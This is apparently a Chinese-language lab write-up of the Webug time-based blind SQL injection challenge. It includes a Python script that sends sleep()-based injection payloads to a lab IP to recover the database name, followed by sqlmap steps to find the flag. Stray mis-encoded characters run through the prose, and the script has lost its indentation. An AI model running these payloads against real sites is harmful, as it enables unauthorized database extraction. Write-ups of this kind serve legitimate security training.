延時注入屬于盲注技術的一種柬讨,它是一種基于時間差異的注入技術。在某些網站屏蔽一般的MySQL注入時袍啡,可以通過這種方法所觀察所返回的時間來判斷是否存在注入點踩官。當存在符合一些條件的時候,就會執(zhí)行sleep()函數(shù)境输,延時sleep()函數(shù)內的參數(shù)秒后返回蔗牡,通過這個原理可以觀察語句執(zhí)行時間來判斷是否存在注入點。
這道題是Webug中的中級進階第5題嗅剖。
image.png
按照提示辩越,輸入在地址欄里輸入?type=看看什么情況:
image.png
百度了之后,參考大佬的信粮,輸入地址欄如下:
image.png
出現(xiàn)了這個頁面(后面測試了黔攒,好像就?type=1也可以出現(xiàn)這個頁面),證明應該存在注入點强缘。
查看了下注入的命令督惰,如果手動注入的話,得猜很久旅掂,參考了大佬的腳本:
import requests,time
payloads="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789@_.}{,"
#存放跑出的結果
length=0
database=''
table=''
print('開始獲取長度')
for l in range(1,21):
startTime1=time.time()
url1="http://10.75.13.19/pentest/test/time/?type=1 and if(length(database())=%d,sleep(3),3)"%(l)
response1=requests.get(url1)
if time.time()-startTime1>3:
length=l;
print('長度為:'+str(length))
print('開始查詢數(shù)據(jù)庫名字')
for d in range(1,length+1):
for payload in payloads:
startTime2=time.time()
url2="http://10.75.13.19/pentest/test/time/?type=1 and if(substr(database(),'%d',1)='%s',sleep(3),3)"%(d,payload)
response2=requests.get(url2)#發(fā)送請求
if time.time()-startTime2>3: #判斷是否超過了3秒赏胚,從而是否函數(shù)sleep(3)
database+=payload
print(database)
break
print('數(shù)據(jù)庫名為:'+database)
實現(xiàn)的語言為python。payloads的作用是用于匹配字符(應該用于猜解數(shù)據(jù)庫名字的字符)辞友。
url1實現(xiàn)的是猜解出數(shù)據(jù)庫名字的長度栅哀。url2實現(xiàn)的是猜解出數(shù)據(jù)庫的名字震肮。跑出的數(shù)據(jù)庫名字為:
image.png
用sqlmap工具對其進去查詢表,表中的字段留拾,數(shù)值等:
查詢表:
image.png
可得出表有:
image.png
接著查詢表中字段:
image.png
可以看出有 flag和id字段
再查字段:
image.png
就可以得到最后的flag了戳晌。